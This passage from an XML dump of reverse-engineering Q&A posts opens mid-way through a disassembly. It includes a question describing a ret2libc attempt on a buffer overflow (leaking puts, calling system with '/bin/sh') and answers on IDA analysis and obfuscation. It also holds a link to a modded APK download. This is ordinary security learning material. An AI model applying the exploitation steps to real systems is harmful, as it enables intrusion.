ec 9f 04 08       jmp    DWORD PTR ds:0x8049fec&#xA; 804838e:   66 90                   xchg   ax,ax&#xA;&#xA;08048390 &amp;lt;puts@plt&amp;gt;:&#xA; 8048390:   ff 25 f0 9f 04 08       jmp    DWORD PTR ds:0x8049ff0&#xA; 8048396:   66 90                   xchg   ax,ax&#xA;&#xA;08048398 &amp;lt;__gmon_start__@plt&amp;gt;:&#xA; 8048398:   ff 25 f4 9f 04 08       jmp    DWORD PTR ds:0x8049ff4&#xA; 804839e:   66 90                   xchg   ax,ax&#xA;&#xA;080483a0 &amp;lt;__libc_start_main@plt&amp;gt;:&#xA; 80483a0:   ff 25 f8 9f 04 08       jmp    DWORD PTR ds:0x8049ff8&#xA; 80483a6:   66 90                   xchg   ax,ax&#xA;&#xA;080483a8 &amp;lt;setvbuf@plt&amp;gt;:&#xA; 80483a8:   ff 25 fc 9f 04 08       jmp    DWORD PTR ds:0x8049ffc&#xA; 80483ae:   66 90                   xchg   ax,ax&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;080483b0 &amp;lt;_start&amp;gt;:&#xA; 80483b0:   31 ed                   xor    ebp,ebp&#xA; 80483b2:   5e                      pop    esi&#xA; 80483b3:   89 e1                   mov    ecx,esp&#xA; 80483b5:   83 e4 f0                and    esp,0xfffffff0&#xA; 80483b8:   50                      push   eax&#xA; 80483b9:   54                      push   esp&#xA; 80483ba:   52                      push   edx&#xA; 80483bb:   68 70 85 04 08          push   0x8048570&#xA; 80483c0:   68 10 85 04 08          push   0x8048510&#xA; 80483c5:   51                      push   ecx&#xA; 80483c6:   56                      push   esi&#xA; 80483c7:   68 ab 84 04 08          push   0x80484ab&#xA; 80483cc:   e8 cf ff ff ff          call   80483a0 &amp;lt;__libc_start_main@plt&amp;gt;&#xA; 80483d1:   f4                      hlt    &#xA; 80483d2:   66 90                   xchg   ax,ax&#xA; 80483d4:   66 90                   xchg   ax,ax&#xA; 80483d6:   66 90                   xchg   ax,ax&#xA; 80483d8:   66 90                   xchg   ax,ax&#xA; 80483da:   66 90                   xchg   ax,ax&#xA; 80483dc:   66 90                   xchg   ax,ax&#xA; 80483de:   66 90                   xchg   ax,ax&#xA;&#xA;080483e0 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;:&#xA; 80483e0:   8b 1c 24                mov    ebx,DWORD PTR [esp]&#xA; 80483e3:   c3                      ret    &#xA; 80483e4:   66 90                   xchg   ax,ax&#xA; 80483e6:   66 90                   xchg   ax,ax&#xA; 80483e8:   66 90                   xchg   ax,ax&#xA; 80483ea:   66 90                   xchg   ax,ax&#xA; 80483ec:   66 90                   xchg   ax,ax&#xA; 80483ee:   66 90                   xchg   ax,ax&#xA;&#xA;080483f0 &amp;lt;deregister_tm_clones&amp;gt;:&#xA; 80483f0:   b8 0f a0 04 08          mov    eax,0x804a00f&#xA; 80483f5:   2d 0c a0 04 08          sub    eax,0x804a00c&#xA; 80483fa:   83 f8 06                cmp    eax,0x6&#xA; 80483fd:   76 1a                   jbe    8048419 &amp;lt;deregister_tm_clones+0x29&amp;gt;&#xA; 80483ff:   b8 00 00 00 00          mov    eax,0x0&#xA; 8048404:   85 c0                   test   eax,eax&#xA; 8048406:   74 11                   je     8048419 &amp;lt;deregister_tm_clones+0x29&amp;gt;&#xA; 8048408:   55                      push   ebp&#xA; 8048409:   89 e5                   mov    ebp,esp&#xA; 804840b:   83 ec 14                sub    esp,0x14&#xA; 804840e:   68 0c a0 04 08          push   0x804a00c&#xA; 8048413:   ff d0                   call   eax&#xA; 8048415:   83 c4 10                add    esp,0x10&#xA; 8048418:   c9                      leave  &#xA; 8048419:   f3 c3                   repz ret &#xA; 804841b:   90                      nop&#xA; 804841c:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]&#xA;&#xA;08048420 &amp;lt;register_tm_clones&amp;gt;:&#xA; 8048420:   b8 0c a0 04 08          mov    eax,0x804a00c&#xA; 8048425:   2d 0c a0 04 08          sub    eax,0x804a00c&#xA; 804842a:   c1 f8 02                sar    eax,0x2&#xA; 804842d:   89 c2                   mov    edx,eax&#xA; 804842f:   c1 ea 1f                shr    edx,0x1f&#xA; 8048432:   01 d0                   add    eax,edx&#xA; 8048434:   d1 f8                   sar    eax,1&#xA; 8048436:   74 1b                   je     8048453 &amp;lt;register_tm_clones+0x33&amp;gt;&#xA; 8048438:   ba 00 00 00 00          mov    edx,0x0&#xA; 804843d:   85 d2                   test   edx,edx&#xA; 804843f:   74 12                   je     8048453 &amp;lt;register_tm_clones+0x33&amp;gt;&#xA; 8048441:   55                      push   ebp&#xA; 8048442:   89 e5                   mov    ebp,esp&#xA; 8048444:   83 ec 10                sub    esp,0x10&#xA; 8048447:   50                      push   eax&#xA; 8048448:   68 0c a0 04 08          push   0x804a00c&#xA; 804844d:   ff d2                   call   edx&#xA; 804844f:   83 c4 10                add    esp,0x10&#xA; 8048452:   c9                      leave  &#xA; 8048453:   f3 c3                   repz ret &#xA; 8048455:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]&#xA; 8048459:   8d bc 27 00 00 00 00    lea    edi,[edi+eiz*1+0x0]&#xA;&#xA;08048460 &amp;lt;__do_global_dtors_aux&amp;gt;:&#xA; 8048460:   80 3d 10 a0 04 08 00    cmp    BYTE PTR ds:0x804a010,0x0&#xA; 8048467:   75 13                   jne    804847c &amp;lt;__do_global_dtors_aux+0x1c&amp;gt;&#xA; 8048469:   55                      push   ebp&#xA; 804846a:   89 e5                   mov    ebp,esp&#xA; 804846c:   83 ec 08                sub    esp,0x8&#xA; 804846f:   e8 7c ff ff ff          call   80483f0 &amp;lt;deregister_tm_clones&amp;gt;&#xA; 8048474:   c6 05 10 a0 04 08 01    mov    BYTE PTR ds:0x804a010,0x1&#xA; 804847b:   c9                      leave  &#xA; 804847c:   f3 c3                   repz ret &#xA; 804847e:   66 90                   xchg   ax,ax&#xA;&#xA;08048480 &amp;lt;frame_dummy&amp;gt;:&#xA; 8048480:   b8 f8 9e 04 08          mov    eax,0x8049ef8&#xA; 8048485:   8b 10                   mov    edx,DWORD PTR [eax]&#xA; 8048487:   85 d2                   test   edx,edx&#xA; 8048489:   75 05                   jne    8048490 &amp;lt;frame_dummy+0x10&amp;gt;&#xA; 804848b:   eb 93                   jmp    8048420 &amp;lt;register_tm_clones&amp;gt;&#xA; 804848d:   8d 76 00                lea    esi,[esi+0x0]&#xA; 8048490:   ba 00 00 00 00          mov    edx,0x0&#xA; 8048495:   85 d2                   test   edx,edx&#xA; 8048497:   74 f2                   je     804848b &amp;lt;frame_dummy+0xb&amp;gt;&#xA; 8048499:   55                      push   ebp&#xA; 804849a:   89 e5                   mov    ebp,esp&#xA; 804849c:   83 ec 14                sub    esp,0x14&#xA; 804849f:   50                      push   eax&#xA; 80484a0:   ff d2                   call   edx&#xA; 80484a2:   83 c4 10                add    esp,0x10&#xA; 80484a5:   c9                      leave  &#xA; 80484a6:   e9 75 ff ff ff          jmp    8048420 &amp;lt;register_tm_clones&amp;gt;&#xA;&#xA;080484ab &amp;lt;main&amp;gt;:&#xA; 80484ab:   55                      push   ebp&#xA; 80484ac:   89 e5                   mov    ebp,esp&#xA; 80484ae:   83 ec 28                sub    esp,0x28&#xA; 80484b1:   a1 08 a0 04 08          mov    eax,ds:0x804a008&#xA; 80484b6:   3d 39 05 00 00          cmp    eax,0x539&#xA; 80484bb:   74 07                   je     80484c4 &amp;lt;main+0x19&amp;gt;&#xA; 80484bd:   6a 01                   push   0x1&#xA; 80484bf:   e8 c4 fe ff ff          call   8048388 &amp;lt;_exit@plt&amp;gt;&#xA; 80484c4:   a1 08 a0 04 08          mov    eax,ds:0x804a008&#xA; 80484c9:   83 c0 01                add    eax,0x1&#xA; 80484cc:   a3 08 a0 04 08          mov    ds:0x804a008,eax&#xA; 80484d1:   a1 0c a0 04 08          mov    eax,ds:0x804a00c&#xA; 80484d6:   6a 00                   push   0x0&#xA; 80484d8:   6a 02                   push   0x2&#xA; 80484da:   6a 00                   push   0x0&#xA; 80484dc:   50                      push   eax&#xA; 80484dd:   e8 c6 fe ff ff          call   80483a8 &amp;lt;setvbuf@plt&amp;gt;&#xA; 80484e2:   83 c4 10                add    esp,0x10&#xA; 80484e5:   68 90 85 04 08          push   0x8048590&#xA; 80484ea:   e8 a1 fe ff ff          call   8048390 &amp;lt;puts@plt&amp;gt;&#xA; 80484ef:   83 c4 04                add    esp,0x4&#xA; 80484f2:   6a 40                   push   0x40&#xA; 80484f4:   8d 45 d8                lea    eax,[ebp-0x28]&#xA; 80484f7:   50                      push   eax&#xA; 80484f8:   6a 00                   push   0x0&#xA; 80484fa:   e8 81 fe ff ff          call   8048380 &amp;lt;read@plt&amp;gt;&#xA; 80484ff:   83 c4 0c                add    esp,0xc&#xA; 8048502:   90                      nop&#xA; 8048503:   90                      nop&#xA; 8048504:   c9                      leave  &#xA; 8048505:   c3                      ret    &#xA; 8048506:   66 90                   xchg   ax,ax&#xA; 8048508:   66 90                   xchg   ax,ax&#xA; 804850a:   66 90                   xchg   ax,ax&#xA; 804850c:   66 90                   xchg   ax,ax&#xA; 804850e:   66 90                   xchg   ax,ax&#xA;&#xA;08048510 &amp;lt;__libc_csu_init&amp;gt;:&#xA; 8048510:   55                      push   ebp&#xA; 8048511:   57                      push   edi&#xA; 8048512:   56                      push   esi&#xA; 8048513:   53                      push   ebx&#xA; 8048514:   e8 c7 fe ff ff          call   80483e0 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;&#xA; 8048519:   81 c3 c3 1a 00 00       add    ebx,0x1ac3&#xA; 804851f:   83 ec 0c                sub    esp,0xc&#xA; 8048522:   8b 6c 24 20             mov    ebp,DWORD PTR [esp+0x20]&#xA; 8048526:   8d b3 18 ff ff ff       lea    esi,[ebx-0xe8]&#xA; 804852c:   e8 1b fe ff ff          call   804834c &amp;lt;_init&amp;gt;&#xA; 8048531:   8d 83 14 ff ff ff       lea    eax,[ebx-0xec]&#xA; 8048537:   29 c6                   sub    esi,eax&#xA; 8048539:   c1 fe 02                sar    esi,0x2&#xA; 804853c:   85 f6                   test   esi,esi&#xA; 804853e:   74 25                   je     8048565 &amp;lt;__libc_csu_init+0x55&amp;gt;&#xA; 8048540:   31 ff                   xor    edi,edi&#xA; 8048542:   8d b6 00 00 00 00       lea    esi,[esi+0x0]&#xA; 8048548:   83 ec 04                sub    esp,0x4&#xA; 804854b:   ff 74 24 2c             push   DWORD PTR [esp+0x2c]&#xA; 804854f:   ff 74 24 2c             push   DWORD PTR [esp+0x2c]&#xA; 8048553:   55                      push   ebp&#xA; 8048554:   ff 94 bb 14 ff ff ff    call   DWORD PTR [ebx+edi*4-0xec]&#xA; 804855b:   83 c7 01                add    edi,0x1&#xA; 804855e:   83 c4 10                add    esp,0x10&#xA; 8048561:   39 f7                   cmp    edi,esi&#xA; 8048563:   75 e3                   jne    8048548 &amp;lt;__libc_csu_init+0x38&amp;gt;&#xA; 8048565:   83 c4 0c                add    esp,0xc&#xA; 8048568:   5b                      pop    ebx&#xA; 8048569:   5e                      pop    esi&#xA; 804856a:   5f                      pop    edi&#xA; 804856b:   5d                      pop    ebp&#xA; 804856c:   c3                      ret    &#xA; 804856d:   8d 76 00                lea    esi,[esi+0x0]&#xA;&#xA;08048570 &amp;lt;__libc_csu_fini&amp;gt;:&#xA; 8048570:   f3 c3                   repz ret &#xA;&#xA;Disassembly of section .fini:&#xA;&#xA;08048574 &amp;lt;_fini&amp;gt;:&#xA; 8048574:   53                      push   ebx&#xA; 8048575:   83 ec 08                sub    esp,0x8&#xA; 8048578:   e8 63 fe ff ff          call   80483e0 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;&#xA; 804857d:   81 c3 5f 1a 00 00       add    ebx,0x1a5f&#xA; 8048583:   83 c4 08                add    esp,0x8&#xA; 8048586:   5b                      pop    ebx&#xA; 8048587:   c3                      ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see that there is a buffer overflow that could be exploited inside main() function and I tried to exploit it using some of the techniques I know: execute code on stack, ret2libc, ropgadget but none of them worked. As you can see the NX is enabled, the binary is dynamically linked so there are only 79 ROPgadgets, and because of ASLR being turned on I cannot use retlibc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried ret2libc by crafting the input string so that it jumped to puts() function to print out the puts() address inside the memory in order to calculate the base of libc, after that I had to return to &amp;lt;_start&gt; to inject the exploit string, with the address of system() function and '/bin/sh' string in memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could have been a ideal plan but you can see that at address 0x080484b6 in main the program compares eax, which is loaded with the value in 0x0804a008, to 0x539 to decide to continue. When I came back from puts() function after printing out the address of puts(), that value in 0x0804a008 had been increased by one, no longer be 0x539 so the program exited. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix that, I tried jumping to _read() function after returning from puts() to edit the value hold by 0x0804a008 but another problem arose: The read() function only read 64 bytes into the buffer so the length for me to inject addresses was only 20 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting stucked. I've been searching for days but haven't found any case that being close to mine. Can you give me some advices on how should I get this done?&lt;/p&gt;&#xA;" OwnerUserId="29304" LastEditorUserId="29304" LastEditDate="2020-01-15T01:28:17.527" LastActivityDate="2022-10-04T08:05:30.630" Title="The buffer is too short to insert addresses when exploiting buffer overflow" Tags="|linux|exploit|buffer-overflow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22999" PostTypeId="2" ParentId="22988" CreationDate="2020-01-14T11:32:03.233" Score="1" Body="&lt;p&gt;There is no easy way to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several approaches:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Build your own &lt;code&gt;libc&lt;/code&gt; for &lt;code&gt;ARM&lt;/code&gt; and then do a compare using &lt;code&gt;IDA FLIRT&lt;/code&gt;, &lt;code&gt;bindiff&lt;/code&gt;, &lt;code&gt;diaphora&lt;/code&gt; or similar, or just use is as a reference to see how those function should look like.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look for the most referenced functions, a good chance that some of them will be &lt;code&gt;libc&lt;/code&gt;. After finding some, look at the neighbor functions, good chance they will be also &lt;code&gt;libc&lt;/code&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;IdaPython script for the most referenced functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;&#xA;funcs = {}&#xA;for func_addr in Functions():&#xA;    funcs[hex(func_addr)] = len(list(idautils.XrefsTo(func_addr, 1)))&#xA;&#xA;referenced_funcs = sorted(funcs.items(), key=lambda kv: kv[1])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;If you look for a specific &lt;code&gt;libc&lt;/code&gt; function, you can try to filter the functions in your binary by features like the number of parameters, referenced strings, numeric values inside and so on. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2020-01-15T08:03:52.243" LastActivityDate="2020-01-15T08:03:52.243" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23000" PostTypeId="2" ParentId="22985" CreationDate="2020-01-14T11:38:12.630" Score="2" Body="&lt;p&gt;It looks like your program reads a function pointer from a global memory location, and then executing it. I can guess that the jump target isn't known at compile-time, but only on runtime. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;*(code *)0x142000000)();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Means go to address &lt;code&gt;0x142000000&lt;/code&gt;, and treat its value as a function pointer, and call it. &#xA;You can try to look for write references to &lt;code&gt;0x142000000&lt;/code&gt; in your binary, trying to find which function pointer is written to that memory location.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-01-14T11:38:12.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23001" PostTypeId="2" ParentId="18170" CreationDate="2020-01-14T11:50:17.233" Score="0" Body="&lt;p&gt;APK Editor Pro&#xA;It is really good an its in android:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl2.androidtime.co/uploads/app/APK-Editor-Pro-1.9.10-Mod(www.Androidtime.co).apk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl2.androidtime.co/uploads/app/APK-Editor-Pro-1.9.10-Mod(www.Androidtime.co).apk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30781" LastActivityDate="2020-01-14T11:50:17.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23002" PostTypeId="1" CreationDate="2020-01-14T14:34:27.890" Score="1" ViewCount="74" Body="&lt;p&gt;I was reversing one executable in IDA and found out the function with this structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0058A6E0 sub_58A6E0      proc near               &#xA;.text:0058A6E0&#xA;.text:0058A6E0 var_4           = dword ptr -4&#xA;.text:0058A6E0&#xA;.text:0058A6E0                 push    ecx&#xA;.text:0058A6E1                 mov     ecx, ds:SHAppBarMessage&#xA;.text:0058A6E7                 mov     eax, offset loc_612BC0&#xA;.text:0058A6EC                 or      eax, offset loc_612BBA&#xA;.text:0058A6F1                 or      eax, offset loc_612BB4&#xA;.text:0058A6F6                 or      eax, offset loc_612BAE&#xA;.text:0058A6FB                 or      eax, ecx&#xA;.text:0058A6FD                 mov     ecx, ds:ShellExecuteW&#xA;.text:0058A703                 or      eax, ecx&#xA;.text:0058A705                 mov     ecx, ds:SHGetFileInfoW&#xA;.text:0058A70B                 or      eax, ecx&#xA;.text:0058A70D                 mov     ecx, ds:VariantInit&#xA;.text:0058A713                 or      eax, ecx&#xA;.text:0058A715                 mov     ecx, ds:VariantClear&#xA;.text:0058A71B                 or      eax, ecx&#xA;.text:0058A71D                 mov     ecx, ds:VariantCopy&#xA;.text:0058A723                 or      eax, ecx&#xA;.text:0058A725                 mov     ecx, ds:VariantCopyInd&#xA;.text:0058A72B                 or      eax, ecx&#xA;.text:0058A72D                 mov     ecx, ds:VariantChangeType&#xA;...&#xA;&#xA;Lots of different functions.&#xA;&#xA;...&#xA;.text:0058B8B8                 or      eax, ecx&#xA;.text:0058B8BA                 mov     ecx, ds:RegCloseKey&#xA;.text:0058B8C0                 or      eax, ecx&#xA;.text:0058B8C2                 mov     ecx, ds:RegOpenKeyExW&#xA;.text:0058B8C8                 or      eax, ecx&#xA;.text:0058B8CA                 mov     ecx, ds:RegQueryValueExW&#xA;.text:0058B8D0                 or      eax, ecx&#xA;.text:0058B8D2                 mov     ecx, dword_617AC4&#xA;.text:0058B8D8                 or      eax, offset loc_6129F8&#xA;...&#xA;Repeating simillar stuff&#xA;...&#xA;.text:0058B8F6                 or      eax, offset loc_6129D4&#xA;.text:0058B8FB                 or      eax, ecx&#xA;.text:0058B8FD                 mov     ecx, [esp+4+var_4]&#xA;.text:0058B901                 or      eax, offset loc_6129CE&#xA;.text:0058B906                 or      eax, offset loc_6129C8&#xA;...&#xA;Repeating simillar stuff&#xA;...&#xA;.text:0058B938                 or      eax, offset loc_61298C&#xA;.text:0058B93D                 or      eax, offset loc_612986&#xA;.text:0058B942                 or      eax, ecx&#xA;.text:0058B944                 pop     ecx&#xA;.text:0058B945                 retn&#xA;.text:0058B945 sub_58A6E0      endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried to find what it is and why it was used, but I found literally nothing about it. It's not the first time I see similar function, so I really want to know what is it. It doesn't make any sense for me and simply abusing the imports. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPD: There is a hex values for some part of this function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C1 8B 0D 20 65 61 00 0B  C1 8B 0D 1C 65 61 00 0B&#xA;C1 8B 0D 18 65 61 00 0B  C1 8B 0D 14 65 61 00 0B&#xA;C1 8B 0D 10 65 61 00 0B  C1 8B 0D 0C 65 61 00 0B&#xA;C1 8B 0D 08 65 61 00 0B  C1 8B 0D 04 65 61 00 0B&#xA;C1 8B 0D 00 65 61 00 0B  C1 8B 0D FC 64 61 00 0B&#xA;C1 8B 0D F8 64 61 00 0B  C1 8B 0D F4 64 61 00 0B&#xA;C1 8B 0D F0 64 61 00 0B  C1 8B 0D EC 64 61 00 0B&#xA;C1 8B 0D E8 64 61 00 0B  C1 8B 0D E4 64 61 00 0B&#xA;C1 8B 0D E0 64 61 00 0B  C1 8B 0D DC 64 61 00 0B&#xA;C1 8B 0D D8 64 61 00 0B  C1 8B 0D D4 64 61 00 0B&#xA;C1 8B 0D D0 64 61 00 0B  C1 8B 0D CC 64 61 00 0B&#xA;C1 8B 0D C8 64 61 00 0B  C1 8B 0D C4 64 61 00 0B&#xA;C1 8B 0D C0 64 61 00 0B  C1 8B 0D BC 64 61 00 0B&#xA;C1 8B 0D B8 64 61 00 0B  C1 8B 0D B4 64 61 00 0B&#xA;C1 8B 0D B0 64 61 00 0B  C1 8B 0D AC 64 61 00 0B&#xA;C1 8B 0D A8 64 61 00 0B  C1 8B 0D A4 64 61 00 0B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30203" LastEditorUserId="30203" LastEditDate="2020-01-15T08:43:42.087" LastActivityDate="2020-01-15T08:43:42.087" Title="Strange function in Disassembly (IDA)" Tags="|ida|disassembly|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="23003" PostTypeId="2" ParentId="22994" CreationDate="2020-01-14T18:29:25.997" Score="2" Body="&lt;p&gt;It's hard to say without the sample but it's possible that the native library is written to the filesystem at runtime, e.g. downloaded from somewhere or decrypted from some byte array embedded in the Java code.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-01-14T18:29:25.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23004" PostTypeId="1" CreationDate="2020-01-14T19:30:44.337" Score="0" ViewCount="412" Body="&lt;p&gt;Is anybody have good resource or tutorial of run-time hacking or memory hacking with .NET Applications with dnspy. &lt;/p&gt;&#xA;" OwnerUserId="30781" LastActivityDate="2020-01-14T19:30:44.337" Title="tutorial of run-time hacking with Dnspy" Tags="|patching|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23005" PostTypeId="1" AcceptedAnswerId="23008" CreationDate="2020-01-14T23:11:29.380" Score="2" ViewCount="1020" Body="&lt;p&gt;I'm testing my toy obfuscating C compiler against IDA's decompiler, but IDA refuses always functions (then the decompilation is not possible). For example, at one of lowest-levels of obfuscating, a function likes&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int foo(int i) {&#xA;  return i;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is compiled to&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0         40 55                          push rbp&#xA;0x2         48 89 e5                       mov rbp, rsp&#xA;0x5         41 56                          push r14&#xA;0x7         41 57                          push r15&#xA;0x9         48 83 ec 10                    sub rsp, 0x10&#xA;0xd         40 89 bc 24 0c 00 00 00        mov [rsp+0xc], edi&#xA;0x15        48 8d 05 e4 ff ff ff           lea rax, [rip-0x1c]&#xA;0x1c        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]&#xA;0x24        44 8b b4 24 0c 00 00 00        mov r14d, [rsp+0xc]&#xA;0x2c        45 0f af fe                    imul r15d, r14d&#xA;0x30        44 89 f9                       mov ecx, r15d&#xA;0x33        83 c1 01                       add ecx, 0x1&#xA;0x36        44 8b b4 24 0c 00 00 00        mov r14d, [rsp+0xc]&#xA;0x3e        45 0f af f7                    imul r14d, r15d&#xA;0x42        48 63 c9                       movsxd rcx, ecx&#xA;0x45        49 63 d6                       movsxd rdx, r14d&#xA;0x48        48 39 d1                       cmp rcx, rdx&#xA;0x4b        0f 95 c1                       setnz cl&#xA;0x4e        40 84 c9                       test cl, cl&#xA;0x51        75 1c                          jnz 0x1c&#xA;0x53        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]&#xA;0x5b        49 63 cf                       movsxd rcx, r15d&#xA;0x5e        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]&#xA;0x66        44 89 ff                       mov edi, r15d&#xA;0x69        48 89 c6                       mov rsi, rax&#xA;0x6c        40 ff d1                       call rcx&#xA;0x6f        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]&#xA;0x77        44 89 f8                       mov eax, r15d&#xA;0x7a        48 83 c4 10                    add rsp, 0x10&#xA;0x7e        41 5f                          pop r15&#xA;0x80        41 5e                          pop r14&#xA;0x82        40 5d                          pop rbp&#xA;0x84        c3                             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I still don't understand why &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1368.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;the stack frame analysis&lt;/a&gt; can be failed for this case. There are only two groups of instructions modifying &lt;code&gt;rsp&lt;/code&gt;, the first 5:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0         40 55                          push rbp&#xA;0x2         48 89 e5                       mov rbp, rsp&#xA;0x5         41 56                          push r14&#xA;0x7         41 57                          push r15&#xA;0x9         48 83 ec 10                    sub rsp, 0x10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the last 5:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x7a        48 83 c4 10                    add rsp, 0x10&#xA;0x7e        41 5f                          pop r15&#xA;0x80        41 5e                          pop r14&#xA;0x82        40 5d                          pop rbp&#xA;0x84        c3                             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and they actually make the stack pointer balanced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;: @chentiangemalc suggests that it comes from &lt;code&gt;call rcx&lt;/code&gt;, then I changed the obfuscating option to not generate such a call, and removed almost all other obfuscating options, following is an even simpler result&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0         40 55                          push rbp&#xA;0x2         48 89 e5                       mov rbp, rsp&#xA;0x5         40 53                          push rbx&#xA;0x7         48 83 ec 08                    sub rsp, 0x8&#xA;0xb         c1 ef 00                       shr edi, 0x0&#xA;0xe         89 f8                          mov eax, edi&#xA;0x10        81 c8 33 19 d0 39              or eax, 0x39d01933&#xA;0x16        89 f9                          mov ecx, edi&#xA;0x18        81 e1 33 19 d0 39              and ecx, 0x39d01933&#xA;0x1e        0f af c1                       imul eax, ecx&#xA;0x21        40 b9 33 19 d0 39              mov ecx, 0x39d01933&#xA;0x27        89 ca                          mov edx, ecx&#xA;0x29        f7 d2                          not edx&#xA;0x2b        89 fb                          mov ebx, edi&#xA;0x2d        21 d3                          and ebx, edx&#xA;0x2f        f7 d7                          not edi&#xA;0x31        21 f9                          and ecx, edi&#xA;0x33        0f af d9                       imul ebx, ecx&#xA;0x36        01 d8                          add eax, ebx&#xA;0x38        81 c0 31 d6 93 7f              add eax, 0x7f93d631&#xA;0x3e        40 b9 fb 89 99 8c              mov ecx, 0x8c9989fb&#xA;0x44        0f af c1                       imul eax, ecx&#xA;0x47        81 c0 f5 c4 23 fd              add eax, -0x2dc3b0b&#xA;0x4d        48 8d 8c 24 04 00 00 00        lea rcx, [rsp+0x4]&#xA;0x55        40 89 01                       mov [rcx], eax&#xA;0x58        48 8d 84 24 04 00 00 00        lea rax, [rsp+0x4]&#xA;0x60        40 8b 00                       mov eax, [rax]&#xA;0x63        48 83 c4 08                    add rsp, 0x8&#xA;0x67        40 5b                          pop rbx&#xA;0x69        40 5d                          pop rbp&#xA;0x6b        c3                             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but IDA complains always &lt;code&gt;sp-analysis failed&lt;/code&gt; ((I've put the ELF &lt;a href=&quot;https://send.firefox.com/download/a6e2224e532d962f/#7T05h7_HprqN7gprnr0-YA&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other tools like Ghidra or JEB Decompiler happily recognizes the function, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;: the method of @chentiangemalc works perfectly. &lt;s&gt;for the example above, unfortunately there are cases where IDA is not happy (sample: &lt;a href=&quot;https://send.firefox.com/download/af09a8b198096475/#lGtfN2XJRu3Q3KW9ESh6tw&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF&lt;/a&gt;)&lt;/s&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2020-01-16T22:41:13.227" LastActivityDate="2020-01-16T22:41:13.227" Title="Stack-pointer analysis failed" Tags="|ida|decompilation|obfuscation|decompiler|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
